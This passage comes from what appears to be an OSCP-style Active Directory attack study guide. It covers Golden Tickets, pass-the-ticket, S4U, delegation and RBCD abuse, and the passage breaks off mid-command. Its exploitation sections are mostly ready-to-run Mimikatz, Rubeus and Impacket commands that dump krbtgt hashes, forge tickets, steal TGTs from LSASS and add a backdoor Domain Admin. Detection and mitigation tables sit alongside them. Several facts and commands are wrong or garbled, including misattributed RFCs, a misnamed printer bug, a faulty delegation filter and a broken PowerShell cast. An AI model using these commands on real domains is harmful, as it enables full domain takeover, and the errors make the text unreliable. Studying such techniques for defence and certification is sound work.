|---|---|---|
| Forges | TGS (service ticket) | TGT (Ticket Granting Ticket) |
| Requires | Service account hash | krbtgt account hash |
| Scope | One specific service | Every service in the domain |
| KDC contact | Never | Never |
| Impact | Service-level | Full domain domination |
How to Obtain the krbtgt Hash:
| Method | Description |
|---|---|
| DCSync | Replicate the krbgt account from a Domain Controller (requires Replicating Directory Changes privilege) |
| DC compromise | Direct access to a Domain Controller → dump LSASS or NTDS.dit |
| Golden Ticket from existing Golden Ticket | If krbtgt was rotated, old tickets remain valid until the new krbtgt is also rotated |
The “Double Rotation” Rule:
When a domain is compromised via Gold Ticket, the krbtgt password must be rotated TWICE:
- First rotation: Invalidates existing forged tickets (they use the old krbtgt hash), but the KDC still accepts old TGTs for a transition period
- Second rotation: Fully invalidates all old TGTs
A Gold Ticket can be set to last up to 10 years (the maximum Kerberos ticket lifetime).
Prerequisites
| Requirement | Details |
|---|---|
| krbtgt NTLM hash | The hash of the krbtgt account (obtained via DCSync or DC compromise) |
| Domain SID | Security Identifier of the target domain |
| Domain name (FQDN) | Full domain name (e.g., domain.com) |
| krbtgt RID | Usually 502 (default) |
Attack Flow
sequenceDiagram
participant Attacker
participant DC
participant KDC
participant AnyService
Note over Attacker: Compromise Phase
Attacker->>DC: 1. DCSync or DC compromise<br/>(Obtain krbtgt NTLM hash)
DC-->>Attacker: 1. krbtgt hash returned
Note over Attacker: Forgery Phase (Fully Offline)
Attacker->>Attacker: 2. Forge TGT locally<br/>(Gold Ticket, encrypted with krbtgt hash)
Note over Attacker: Can impersonate ANY user<br/>(including Domain Admin, RID 500)
Note over Attacker: Valid for up to 10 years
Note over Attacker: Exploitation Phase
Attacker->>KDC: 3. Present forged TGT<br/>(Request TGS for any service)
KDC-->>Attacker: 4. Issue TGS ticket<br/>(KDC trusts the forged TGT!)
Attacker->>AnyService: 5. Access ANY service in domain
AnyService-->>Attacker: 6. Full access granted
Note over DC: Domain Controller is fully compromised<br/>No effective containment possible
Step-by-Step Exploitation
Phase 1: Obtain the krbtgt Hash
Method 1: Mimikatz DCSync (Most Common)
# Requires: Domain Admin or equivalent privileges (Replicating Directory Changes)
# Extract krbtgt hash via DCSync
lsadump::dcsync /user:domain\krbtgt /domain:domain.com
# Output example:
# [*] Level <Dacl> account
# [*] SAMAccountName: krbtgt
# [*] DistinguishedName: CN=krbtgt,CN=Users,DC=domain,DC=com
# [*] NTLM: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6
# [*] SHA1: ...
Method 2: Impacket secretsdump.py
# DCSync for krbtgt from Linux
python3 secretsdump.py domain.com/admin:password@10.10.10.10 -just-dc-user krbtgt
# DCSync for ALL accounts (including krbtgt)
python3 secretsdump.py domain.com/admin:password@10.10.10.10 -just-dc
Phase 2: Forge the Gold Ticket
Method 1: Mimikatz (Full Command)
# Create Gold Ticket with maximum privileges
kerberos::golden /user:Administrator `
/sid:S-1-5-21-1234567890-1234567890-1234567890 `
/rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 `
/krbtgt `
/domain:domain.com `
/id:500 `
/groups:513,512,518,519,520,521,526 `
/startoffset:0 `
/endin:600 `
/renewmax:10080 `
/ptt
# Parameter breakdown:
# /user:Administrator — Username to impersonate
# /sid:<domain_sid> — Domain SID (required)
# /rc4:<krbtgt_hash> — krbtgt NTLM hash
# /krbtgt — Flag indicating this is a TGT (Gold Ticket)
# /domain:domain.com — Domain FQDN
# /id:500 — UID 500 = built-in Administrator
# /groups:<group_sids> — Group SIDs to include in PAC:
# 513 = Domain Users
# 512 = Domain Admins
# 518 = Schema Admins
# 519 = Enterprise Admins
# 520 = Group Policy Creators
# 521 = Domain Controllers
# 526 = Key Admins
# /startoffset:0 — Ticket valid immediately
# /endin:600 — Valid for 600 minutes (10 hours)
# /renewmax:10080 — Renewable for 10080 minutes (7 days)
# /ptt — Inject into current session
# Alternative: Use a non-existent username (more stealthy)
kerberos::golden /user:DummyUser /sid:<sid> /rc4:<hash> /krbtgt /domain:domain.com /id:500 /ptt
Method 2: Rubeus
# Create Gold Ticket and inject
Rubeus.exe golden /user:Administrator `
/rc4:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 `
/sid:S-1-5-21-1234567890-1234567890-1234567890 `
/domain:domain.com `
/ptt
# Create and save to file
Rubeus.exe golden /user:Administrator `
/rc4:<hash> /sid:<sid> /domain:domain.com `
/outfile:gold_ticket.kirbi
# Inject saved ticket
Rubeus.exe ptt /ticket:gold_ticket.kirbi
Phase 3: Verify and Exploit
# Verify the Gold Ticket is injected
klist
# Look for a TGT for krbtgt/domain.com@DOMAIN.COM
# Test access to Domain Controller
dir \\dc01.domain.com\C$
# Access any resource in the domain
dir \\fileserver.domain.com\shared$
# Create new Domain Admin
net user BackdoorUser Password123! /add /domain
net group "Domain Admins" BackdoorUser /add /domain
# DCSync from the forged identity
lsadump::dcsync /user:domain\krbtgt
Detection and Mitigation
| Detection Method | Details |
|---|---|
| No KDC events for TGT creation | Gold Tickets bypass the KDC entirely. No Event 4768 (TGT request) is generated. |
| Tickets with extreme lifetimes | Gold Tickets can be set to last 10 years. Monitor for TGTs with unusually long validity. |
| Admin access from unusual sources | Domain Admin-level access from IPs or machines that never normally have admin access. |
| Event 4769 with service class 3 (TGT) | Monitor for TGS requests using forged TGTs. |
| PAC anomalies | Forged PACs may have incorrect group memberships or sizes. |
| Ticket start time in the past | Gold Tickets often have start times far in the past. |
| Mitigation Strategy | Implementation |
|---|---|
| Rotate krbtgt TWICE after compromise | First rotation invalidates old Gold Tickets. Second rotation completes the process. Wait at least 10 hours (TGT lifetime) between rotations. |
| Tiered administration model | Implement Tier 0 (DCs), Tier 1 (member servers), Tier 2 (workstations). Never use Tier 0 credentials on lower tiers. |
| Privileged Access Workstations (PAWs) | Domain Admins only log into dedicated, hardened workstations. |
| Kerberos ARM | Enable Account Restriction Mode to limit ticket behavior. |
| Regular krbtgt rotation | Periodically rotate the krbtgt password as a best practice. |
| Network segmentation | Isolate Domain Controllers and restrict who can authenticate to them. |
OSCP Exam Relevance
Medium Priority — Gold Tickets are the “nuclear option” in AD attacks. They appear in scenarios where you’ve achieved Domain Admin and can perform DCSync.
What examiners expect you to know:
- Gold Ticket = forged TGT using krbtgt hash
- Silver Ticket = forged TGS using service account hash
- The Mimikatz
kerberos::goldencommand with/krbtgtflag - That rotating krbtgt twice is required to invalidate Gold Tickets
- The difference in scope: Gold = entire domain, Silver = one service
Lab Practice Suggestions
- In the OSCP lab, achieve Domain Admin → DCSync for krbtgt → forge Gold Ticket
- Practice with a non-existent username to understand stealth
- Compare the
klistoutput before and after Gold Ticket injection
Common Pitfalls and Troubleshooting
| Problem | Solution |
|---|---|
| Gold Ticket rejected by services | Verify the Domain SID is exactly correct. Even one digit wrong will cause rejection. |
| Mimikatz “Unable to find domain” | Ensure the domain FQDN is correct. Try /domain:domain.com (not just domain). |
| Ticket injected but access still denied | Check that /id:500 and /groups:512 (Domain Admins) are included. Verify PAC is properly formed. |
| DCSync fails before Gold Ticket | DCSync requires Replicating Directory Changes privilege. Ensure your account has Domain Admin or Enterprise Admin rights. |
2.5 Ticket Forwarding
Vulnerability Explanation
Ticket Forwarding is the mechanism by which Kerberos tickets obtained through one authentication are reused to access additional resources. In the context of attacks, ticket forwarding becomes dangerous when combined with delegation configurations.
How Ticket Forwarding Works Normally:
When a user authenticates to a service that has delegation enabled, that service can “forward” the user’s ticket to another service on the user’s behalf. This is essential for multi-hop applications (e.g., a web application that needs to query a database using the end user’s identity).
Types of Delegation and Their Forwarding Behavior:
| Delegation Type | What Gets Forwarded | Attacker Value |
|---|---|---|
| Unconstrained | Full TGT of authenticating users | Critical — TGT grants access to ANY service |
| Constrained | TGS ticket for specific SPNs only | High — Targeted access to specific services |
| Protocol Transition | TGS via S4U extensions | High — Non-Kerberos to Kerberos bridge |
| Resource-Based Constrained | TGS for the resource’s services | High — Attacker-controlled delegation |
Pass-the-Ticket (PtT) — The Foundation of Ticket Forwarding Attacks:
Pass-the-Ticket is the technique of extracting Kerberos tickets from memory and injecting them into another session. It’s the core mechanism behind all ticket-forwarding attacks.
# Extract all tickets from LSASS
sekurlsa::tickets /export
# List exported tickets
dir .\kirbi\
# Inject a specific ticket
kerberos::ptt .\kirbi\TGT-5-40e100.kirbi
# Verify injection
klist
Prerequisites
| Requirement | Details |
|---|---|
| Access to ticket cache | LSASS memory access or exported .kirbi files |
| Administrative privileges | On the machine where tickets are extracted |
| Mimikatz or Rubeus | Tools for extraction and injection |
Attack Flow
sequenceDiagram
participant LegitUser
participant Service
participant Attacker
Note over LegitUser,Service: Legitimate Authentication
LegitUser->>Service: 1. User authenticates to service<br/>(with delegation enabled)
Note over Attacker: Ticket Theft
Attacker->>Service: 2. Compromise the service machine
Attacker->>Attacker: 3. Extract tickets from LSASS<br/>(sekurlsa::tickets /export)
Note over Attacker: Ticket Forwarding
Attacker->>Attacker: 4. Identify valuable tickets<br/>(TGTs of high-privilege users)
Attacker->>Attacker: 5. Inject ticket into own session<br/>(kerberos::ptt)
Note over Attacker: Lateral Movement
Attacker->>Service: 6. Access other services<br/>as the legitimate user
Step-by-Step Exploitation
Extracting Tickets:
# Mimikatz — Export all tickets
privilege::debug
sekurlsa::tickets /export
# Rubeus — List all tickets
Rubeus.exe triage
# Rubeus — Dump specific ticket
Rubeus.exe dump /ticket:<id>
# Rubeus — Dump all TGTs
Rubeus.exe dump /service:krbtgt /domain:domain.com
Injecting Tickets:
# Mimikatz — Pass the Ticket
kerberos::ptt .\kirbi\TGT-Administrator-40e100.kirbi
# Rubeus — Pass the Ticket
Rubeus.exe ptt /ticket:extracted_ticket.kirbi
# Verify
klist
Detection and Mitigation
| Detection Method | Details |
|---|---|
| LSASS access monitoring | Alert on processes opening handles to LSASS for memory reading |
| Event 4624 Logon Type 9/10 | Network/Clear-text logons from unexpected sources |
| Ticket lifetime anomalies | Monitored tickets with unusual validity periods |
| Mitigation Strategy | Implementation |
|---|---|
| LSA Protection (RunAsPPL) | Prevents LSASS memory dumping by non-protected processes |
| Credential Guard | Virtualization-based security isolates credential material |
| Restrict delegation | Minimize delegation configurations to only what’s necessary |
| Short ticket lifetimes | Reduce GPO-configured ticket lifetime to limit window of opportunity |
OSCP Exam Relevance
Medium Priority — Ticket forwarding is the mechanism behind delegation attacks. Understanding PtT is essential for all delegation exploitation.
Lab Practice Suggestions
- Dump tickets from a compromised Windows machine using both Mimikatz and Rubeus
- Practice injecting TGTs and verifying with
klist - Combine with unconstrained delegation for full attack chain
Common Pitfalls and Troubleshooting
| Problem | Solution |
|---|---|
| sekurlsa::tickets fails | Run Mimikatz as Administrator. Enable debug privilege first: privilege::debug |
| Injected ticket not showing in klist | Verify the .kirbi file is valid. Try Rubeus.exe ptt instead of Mimikatz. |
| RunAsPPL blocks extraction | The target has LSA Protection enabled. Need to bypass PPL or use alternative methods. |
2.6 S4U2Self / S4U2Proxy Abuse
Vulnerability Explanation
The S4U (Service for User) Kerberos extensions (RFC 4556 and RFC 6113) allow services to request tickets on behalf of users. This is the protocol foundation for constrained delegation. Two key protocols exist:
S4U2Self (Service for User to Self):
- A service account asks the KDC: “Please issue me a TGS ticket that impersonates user X”
- The KDC issues a forwardable TGS ticket to the service, impersonating the specified user
- This ticket is for the service itself (hence “to self”)
- The service now holds a ticket that says “I am user X, authenticated to service Y”
S4U2Proxy (Service for User to Proxy):
- The service takes the forwardable ticket from S4U2Self and asks the KDC: “Please issue me a TGS ticket to target service Z, still impersonating user X”
- The KDC issues a TGS ticket for the target service, impersonating the original user
- This is the “proxy” step — the service is proxying the user’s identity to another service
The Attack Chain:
Step 1: Attacker compromises a service account with constrained delegation
Step 2: S4U2Self — Attacker (as service) requests TGS impersonating any user
Step 3: S4U2Proxy — Attacker requests TGS for target service, still impersonating that user
Step 4: Attacker accesses the target service as the impersonated user
Why This Is Dangerous:
- The attacker can impersonate any user — including Domain Admins
- The only limitation is the allowed target SPNs configured in
msDS-AllowedToDelegateTo - If CIFS is an allowed target, the attacker can access any file share the impersonated user could access
- If the impersonated user is a Domain Admin, and CIFS is allowed → full domain compromise
Prerequisites
| Requirement | Details |
|---|---|
| Service account credentials | Password or NTLM hash of a service account with constrained delegation |
| msDS-AllowedToDelegateTo attribute | The list of SPNs this service can delegate to |
| Target SPN in the allowed list | The service you want to access must be in the delegation list |
Attack Flow
sequenceDiagram
participant Attacker
participant KDC
participant TargetService
Note over Attacker: 1. Compromise service account<br/>with constrained delegation
Note over Attacker: Service can delegate to:<br/>cifs/fileserver.domain.com
Note over Attacker: S4U2Self Phase
Attacker->>KDC: 2. S4U2Self: "Issue me a TGS<br/>impersonating Administrator"
KDC-->>Attacker: 3. Forwardable TGS<br/>(Administrator → service account)
Note over Attacker: S4U2Proxy Phase
Attacker->>KDC: 4. S4U2Proxy: "Issue me a TGS<br/>for cifs/fileserver as Administrator"
KDC-->>Attacker: 5. TGS for cifs/fileserver<br/>(impersonating Administrator)
Note over Attacker: Exploitation
Attacker->>TargetService: 6. Access fileserver as Administrator
TargetService-->>Attacker: 7. Full access granted
Step-by-Step Exploitation
Phase 1: Identify Constrained Delegation Accounts
# PowerView
Get-NetUser -TrustedToAuth
Get-NetComputer -TrustedToAuth
# ActiveDirectory module
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
# Rubeus
Rubeus.exe delegate /nowrap
Phase 2: Execute S4U Attack
Method 1: Mimikatz
# First, authenticate as the service account
kerberos::ptt <service_account_ticket.kirbi>
# S4U2Self + S4U2Proxy in one command
kerberos::s4u /user:Administrator@domain.com `
/service:cifs/fileserver.domain.com
# Alternative syntax
kerberos::golden /user:service_account /domain:domain.com `
/sid:<domain_sid> /rc4:<service_hash> `
/s4u:Administrator@domain.com `
/service:cifs/fileserver.domain.com /ptt
Method 2: Rubeus
# Full S4U attack chain
Rubeus.exe s4u /user:service_account /rc4:<service_hash> `
/impersonateuser:Administrator `
/msdsspn:cifs/fileserver.domain.com `
/domain:domain.com /ptt
# Parameter breakdown:
# /user:<service_account> — The compromised service account
# /rc4:<hash> — Service account NTLM hash
# /impersonateuser:<user> — User to impersonate
# /msdsspn:<spn> — Target SPN (must be in msDS-AllowedToDelegateTo)
# /domain:<domain> — Target domain
# /ptt — Inject ticket into session
Method 3: Impacket (from Linux)
# Using getST.py
python3 getST.py domain.com/service_account:password `
-spn cifs/fileserver.domain.com `
-impersonate Administrator `
-dc-ip 10.10.10.10
# Inject the ticket
export KRB5CCNAME=Administrator.ccache
# Access the target
python3 psexec.py -k -no-pass fileserver.domain.com
Phase 3: Access the Target
# After ticket injection
dir \\fileserver.domain.com\C$
# Or from Linux
python3 smbclient.py -k fileserver.domain.com\
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event 4769 with forwardable flag | S4U2Self returns forwardable tickets. Monitor for TGS events with the forwardable flag set. |
| S4U protocol usage from unexpected services | Alert when service accounts request S4U tickets for high-privilege users. |
| Correlation: S4U2Self followed by S4U2Proxy | The two-step pattern is distinctive. Alert on this sequence from unusual sources. |
| Mitigation Strategy | Implementation |
|---|---|
| Minimize constrained delegation | Only configure delegation when absolutely necessary |
| Use RBCD instead | Resource-Based Constrained Delegation gives the target resource control |
| Audit msDS-AllowedToDelegateTo | Regularly review which services have delegation rights and to which targets |
| SPN access controls | Restrict which SPNs can be used for delegation |
OSCP Exam Relevance
Medium-High Priority — S4U abuse is the exploitation mechanism for constrained delegation. Often tested alongside delegation enumeration.
Lab Practice Suggestions
- Find a service account with constrained delegation in the lab
- Compromise its credentials
- Use Rubeus
s4uto impersonate a high-privilege user - Access the allowed target SPN
Common Pitfalls and Troubleshooting
| Problem | Solution |
|---|---|
| KDC rejects S4U2Proxy request | Verify the target SPN is in the service’s msDS-AllowedToDelegateTo attribute. |
| “The target account name is invalid” | Ensure the impersonated user exists in the domain. Use full principal format: user@domain.com. |
| Rubeus s4u fails with “No such service” | The service account may not have constrained delegation configured. Verify with Rubeus.exe delegate. |
2.7 Unconstrained Delegation Abuse
Vulnerability Explanation
Unconstrained Delegation is the oldest and most permissive form of Kerberos delegation. It was designed for scenarios where a service needs to access multiple downstream services on behalf of authenticating users, without knowing in advance which services will be needed.
How It Works (Normal Operation):
- A computer account (e.g., a web server) is configured with the
TRUSTED_FOR_DELEGATIONflag - When any user authenticates to this computer using Kerberos, the computer receives the user’s full TGT
- The TGT is stored in the computer’s LSASS memory
- The computer can later use this TGT to access any service in the domain on the user’s behalf
The Vulnerability:
Because the TGT is stored in LSASS memory:
- If an attacker compromises the delegated machine, they can dump LSASS and extract all collected TGTs
- These TGTs can be used to access any service in the domain as the original user
- If a Domain Administrator authenticated to this machine, the attacker gets the DA’s TGT → full domain compromise
The Attack Strategy Has Two Parts:
- Find a machine with unconstrained delegation
- Force a high-privilege user to authenticate to that machine
- Extract the TGT from LSASS
- Use the TGT for lateral movement
Why Forcing Authentication Is Key:
Simply finding a delegated machine isn’t enough — you need a high-value TGT in its memory. The attacker must trigger authentication from a target user (preferably a Domain Admin) to the delegated machine.
Common Authentication Triggers:
| Trigger Method | How It Works |
|---|---|
| SMB access | Access a share on the delegated machine as the target user |
| WMI query | Execute WMI commands against the delegated machine |
| Printer bug (MS17-010 adjacent) | Force enumeration that triggers Kerberos auth |
| Computer account manipulation | Move/rename a computer account to intercept admin authentication |
| SPN spoofing + resource-based delegation | Advanced techniques to redirect admin auth |
Prerequisites
| Requirement | Details |
|---|---|
| Identify delegated machine | Find a computer with TRUSTED_FOR_DELEGATION flag |
| Force high-priv user auth | Trigger a Domain Admin (or other high-value user) to authenticate to the delegated machine |
| Compromise the delegated machine | Gain access to dump LSASS memory |
| OR: Control a machine that can authenticate as DA | Alternative: make your own machine the delegated target |
Attack Flow
sequenceDiagram
participant DA
participant DelegatedServer
participant Attacker
participant KDC
Note over DelegatedServer: TRUSTED_FOR_DELEGATION = true
Note over Attacker: Phase 1: Recon
Attacker->>KDC: 1. Find computers with<br/>unconstrained delegation
KDC-->>Attacker: 1. List of delegated computers
Note over Attacker: Phase 2: Force Authentication
Attacker->>DA: 2. Lure DA to authenticate<br/>to DelegatedServer
Note over DA,DelegatedServer: (SMB share access, WMI, etc.)
DA->>DelegatedServer: 3. DA authenticates via Kerberos
Note over DelegatedServer: 4. DA's TGT stored in LSASS
Note over Attacker: Phase 3: Extract TGT
Attacker->>DelegatedServer: 5. Compromise DelegatedServer
Attacker->>Attacker: 6. Dump LSASS → extract DA's TGT
Note over Attacker: Phase 4: Exploit
Attacker->>Attacker: 7. Inject DA's TGT (Pass-the-Ticket)
Attacker->>DelegatedServer: 8. Access any resource as DA
Step-by-Step Exploitation
Phase 1: Find Unconstrained Delegation Computers
# PowerView (most common)
Get-NetComputer -Unconstrained
# ActiveDirectory module
Get-ADComputer -Filter {PrimaryGroupID -eq 521}
# Rubeus
Rubeus.exe delegate /nowrap
# Native PowerShell with ADSI
$ADS = [ADSI]"LDAP://<DOMAIN>"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($ADS)
$Searcher.Filter = "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
$Searcher.FindAll()
# Impacket (from Linux)
python3 getDelegations.py domain.com/user:password -dc-ip 10.10.10.10
The TRUSTED_FOR_DELEGATION flag value is 0x800000 (524288) in userAccountControl.
Phase 2: Force a High-Privilege User to Authenticate
# Method 1: SMB — Access a share on the delegated machine
# (Requires the DA to access your share, or you access theirs as DA)
dir \\delegatedserver.domain.com\C$
# Method 2: WMI — Query the delegated machine
Get-WmiObject -ComputerName delegatedserver.domain.com Win32_OperatingSystem
# Method 3: RPC — Trigger authentication via RPC
Test-Connection delegatedserver.domain.com -Count 1
# Method 4: Move a computer account you control to impersonate a DA
# (Advanced — requires write access to a computer account)
Move-ADDirectoryServer ...
# Method 5: Use a scheduled task or service that runs as DA and contacts the delegated machine
Phase 3: Dump TGTs from LSASS
# Mimikatz — Export all tickets
privilege::debug
sekurlsa::tickets /export
# Filter for TGTs of interest
# Look for tickets with:
# Service: krbtgt
# Client: HIGH-PRIVILEGE-USER
# Rubeus — Triage all tickets
Rubeus.exe triage
# Rubeus — Dump specific TGT
Rubeus.exe dump /ticket:<id> /service:krbtgt
# Rubeus — Dump all TGTs for a specific domain
Rubeus.exe dump /service:krbtgt /domain:domain.com
Phase 4: Use the Extracted TGT
# Inject the TGT
Rubeus.exe ptt /ticket:DA_TGT.kirbi
# Or with Mimikatz
kerberos::ptt .\kirbi\TGT-Administrator-xxxxx.kirbi
# Verify
klist
# Access Domain Controller
dir \\dc01.domain.com\C$
# DCSync
lsadump::dcsync /user:domain\krbtgt
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event 4769 with TGT service class | Monitor for TGT requests to delegated machines. High-privilege users authenticating to delegated servers is a key indicator. |
| LSASS access on delegated machines | Alert on any process opening handles to LSASS on machines with unconstrained delegation. |
| Ticket extraction tool signatures | Mimikatz and Rubeus have known signatures. EDR solutions can detect their execution. |
| Unusual admin authentication patterns | Domain Admins authenticating to non-standard machines (especially application servers) should trigger alerts. |
| Mitigation Strategy | Implementation |
|---|---|
| Disable unconstrained delegation | Unless absolutely required, remove the TRUSTED_FOR_DELEGATION flag. |
| Use constrained delegation instead | Constrained delegation limits which services can be accessed. |
| LAPS for delegated machines | Prevent local admin password reuse and limit compromise impact. |
| Restrict admin access to delegated machines | Use GPO to limit which accounts can log into delegated servers. |
| Tiered administration | Never allow Domain Admins to authenticate to Tier 2 (workstation/application) machines. |
OSCP Exam Relevance
High Priority — Unconstrained delegation is a classic OSCP AD attack. Often combined with SMB relay or other techniques to force admin authentication.
Lab Practice Suggestions
- Find a machine with unconstrained delegation in the lab
- Force a high-privilege user to authenticate (SMB, WMI)
- Dump LSASS and extract the TGT
- Use the TGT to access the Domain Controller
Common Pitfalls and Troubleshooting
| Problem | Solution |
|---|---|
| No TGTs found after forcing auth | Wait a few seconds after triggering authentication. TGTs may take a moment to appear in LSASS. Try Rubeus.exe triage repeatedly. |
| Can’t compromise the delegated machine | Try alternative methods: SMB relay to the delegated machine, or exploit a vulnerability on that specific host. |
| TGT extracted but access denied | Verify the TGT is for the correct user. Check klist output carefully. The TGT may have expired. |
2.8 Constrained Delegation Abuse
Vulnerability Explanation
Constrained Delegation is a more secure alternative to unconstrained delegation. Instead of allowing a service to access any downstream service, it restricts delegation to a specific list of SPNs stored in the msDS-AllowedToDelegateTo attribute.
How It Works (Normal Operation):
- A service account (user or computer) has
msDS-AllowedToDelegateToset to specific SPNs - When this service needs to access a target service on behalf of a user, it uses the S4U2Self and S4U2Proxy protocols
- The KDC only issues tickets for SPNs listed in the attribute
- The service cannot access services outside its allowed list
The Vulnerability:
If an attacker compromises the credentials (password or hash) of a service account with constrained delegation:
- They can use S4U2Self/S4U2Proxy to impersonate any user to the allowed SPNs
- If the allowed SPNs include
cifs/<domain_controller>, the attacker can impersonate a Domain Admin to the DC → full compromise - The constraint limits the blast radius, but the attack is still powerful within those bounds
Key Difference from Unconstrained Delegation:
| Aspect | Unconstrained | Constrained |
|---|---|---|
| Target scope | Any service | Only listed SPNs |
| Attack method | TGT extraction from LSASS | S4U2Self + S4U2Proxy |
| Requires machine compromise | Yes (to dump LSASS) | No (just need service account creds) |
| Requires forcing auth | Yes | No |
Prerequisites
| Requirement | Details |
|---|---|
| Service account credentials | Password or NTLM hash of the delegated account |
| msDS-AllowedToDelegateTo attribute | Know which SPNs are allowed |
| Target SPN in the list | The service you want to attack must be in the allowed list |
Attack Flow
sequenceDiagram
participant Attacker
participant KDC
participant TargetService
Note over Attacker: 1. Compromise service account<br/>with constrained delegation
Note over Attacker: msDS-AllowedToDelegateTo =<br/>cifs/fileserver.domain.com
Note over Attacker: 2. S4U2Self
Attacker->>KDC: "Issue me a TGS impersonating<br/>Administrator (forwardable)"
KDC-->>Attacker: Forwardable TGS
Note over Attacker: 3. S4U2Proxy
Attacker->>KDC: "Issue me a TGS for<br/>cifs/fileserver as Administrator"
KDC-->>Attacker: TGS for cifs/fileserver
Attacker->>TargetService: 4. Access fileserver<br/>as Administrator
TargetService-->>Attacker: Full access granted
Step-by-Step Exploitation
Phase 1: Find Constrained Delegation Accounts
# PowerView
Get-NetUser -TrustedToAuth
Get-NetComputer -TrustedToAuth
# ActiveDirectory module
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
# Rubeus
Rubeus.exe delegate /nowrap
Phase 2: Exploit Using S4U
# Mimikatz
kerberos::golden /user:service_account /domain:domain.com `
/sid:<domain_sid> /rc4:<service_hash> `
/s4u:Administrator@domain.com `
/service:cifs/fileserver.domain.com /ptt
# Rubeus
Rubeus.exe s4u /user:service_account /rc4:<hash> `
/impersonateuser:Administrator `
/msdsspn:cifs/fileserver.domain.com `
/domain:domain.com /ptt
# Impacket (from Linux)
python3 getST.py domain.com/service_account:password `
-spn cifs/fileserver.domain.com `
-impersonate Administrator `
-dc-ip 10.10.10.10
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass fileserver.domain.com
Detection and Mitigation
| Detection Method | Details |
|---|---|
| Event 4769 with S4U protocol | Monitor for S4U2Self/S4U2Proxy protocol usage. Alert when service accounts impersonate high-privilege users. |
| Unusual SPN access patterns | Service accounts accessing SPNs they rarely touch. |
| Mitigation Strategy | Implementation |
|---|---|
| Minimize constrained delegation | Only configure when absolutely necessary |
| Use RBCD instead | Gives the target resource control over delegation |
| Audit msDS-AllowedToDelegateTo | Regular reviews of delegation configurations |
| Least-privilege service accounts | Service accounts should have minimal domain permissions |
OSCP Exam Relevance
Medium-High Priority — Constrained delegation + S4U abuse is a common escalation path in AD labs.
Lab Practice Suggestions
- Enumerate constrained delegation accounts with PowerView
- Compromise a delegated service account
- Use Rubeus
s4uto impersonate a high-privilege user to an allowed SPN
Common Pitfalls and Troubleshooting
| Problem | Solution |
|---|---|
| S4U request rejected | Verify the target SPN is exactly in msDS-AllowedToDelegateTo. SPN format must match exactly. |
| getST.py connection errors | Ensure -dc-ip points to the correct DC. Check Kerberos port 88 connectivity. |
2.9 Resource-Based Constrained Delegation (RBCD)
Vulnerability Explanation
Resource-Based Constrained Delegation (RBCD) was introduced in Windows Server 2012 R2 and represents a significant shift in how delegation works. Unlike traditional constrained delegation where the delegating service specifies its targets, RBCD lets the target resource specify which accounts can delegate to it.
The Core Mechanism:
- The
msDS-AllowedToActOnBehalfOfOtherIdentityattribute on a computer object stores an ACL - This ACL specifies which computer accounts can delegate to this machine
- Any listed computer can use S4U2Self/S4U2Proxy to impersonate any user to this machine’s services
Why This Is Exploitable:
Two critical AD defaults create the attack surface:
- Any domain user can create up to 10 computer accounts (by default, controlled by
ms-DS-MachineAccountQuota) - Computer account creators have
GenericAllcontrol over their own computer - Authenticated Users have
WritePropertyon computer objects by default (in many configurations)
This means an attacker can:
- Create a new computer account (they control it completely)
- Modify the target machine’s
msDS-AllowedToActOnBehalfOfOtherIdentityto include their computer - Use their computer account to delegate to the target machine as any user
The Most Dangerous Scenario:
If the attacker can modify the RBCD attribute on a Domain Controller, they can:
- Create a computer account
- Add it to the DC’s
msDS-AllowedToActOnBehalfOfOtherIdentity - Impersonate the Domain Administrator to the DC’s CIFS service
- Access
\\dc01.domain.com\C$as Domain Admin → full domain compromise
Prerequisites
| Requirement | Details |
|---|---|
| Domain user account | Any valid domain user |
| Write access to target’s RBCD attribute | WriteProperty or GenericWrite/GenericAll on the target computer object |
| OR: Ability to create a computer + modify RBCD | Default ms-DS-MachineAccountQuota allows 10 computer creations per user |
Attack Flow
sequenceDiagram
participant Attacker
participant AD
participant TargetDC
participant KDC
Note over Attacker: Phase 1: Create Attacker Computer
Attacker->>AD: 1. Create computer account ATTACKERPC$<br/>(Default quota: 10 per user)
AD-->>Attacker: 1. Computer created, attacker has GenericAll
Note over Attacker: Phase 2: Set RBCD on Target
Attacker->>AD: 2. Write msDS-AllowedToActOnBehalfOfOtherIdentity<br/>on TargetDC, adding ATTACKERPC$
Note over AD: Requires WriteProperty on TargetDC<br/>(default for Authenticated Users in many configs)
Note over Attacker: Phase 3: S4U Attack
Attacker->>KDC: 3. Authenticate as ATTACKERPC$
Attacker->>KDC: 4. S4U2Self: Impersonate Administrator
Attacker->>KDC: 5. S4U2Proxy: Get TGS for cifs/TargetDC
KDC-->>Attacker: 6. TGS for cifs/TargetDC as Administrator
Note over Attacker: Phase 4: Exploit
Attacker->>TargetDC: 7. Access DC as Domain Admin
TargetDC-->>Attacker: 8. Full domain compromise
Step-by-Step Exploitation
Phase 1: Create a Computer Account
# Method 1: PowerShell (ActiveDirectory module)
$ComputerName = "ATTACKERPC"
$SecurePassword = ConvertTo-SecureString "Password123!" -AsPlainText -Force
New-ADComputer -Name $ComputerName -AccountPassword $SecurePassword -Enabled $true
# Method 2: Impacket addcomputer.py (from Linux)
python3 addcomputer.py domain.com/user:password `
-computer-name ATTACKERPC `
-computer-pass Password123! `
-dc-ip 10.10.10.10
# Method 3: Native dcpromo-style (no module needed)
# Using dsadd (if RSAT installed)
dsadd computer "CN=ATTACKERPC,CN=Computers,DC=domain,DC=com" -pwd Password123! -enabled yes
Phase 2: Set RBCD on the Target
# Method 1: PowerShell (manual ACE creation)
$AttackerComputer = Get-ADComputer ATTACKERPC
$AttackerSID = $AttackerComputer.SID
# Create the ACE
$SID = [System.Security.Principal.SecurityIdentifier]$AttackerSID
$Identity = [System.Security.Principal NTAccount]$SID
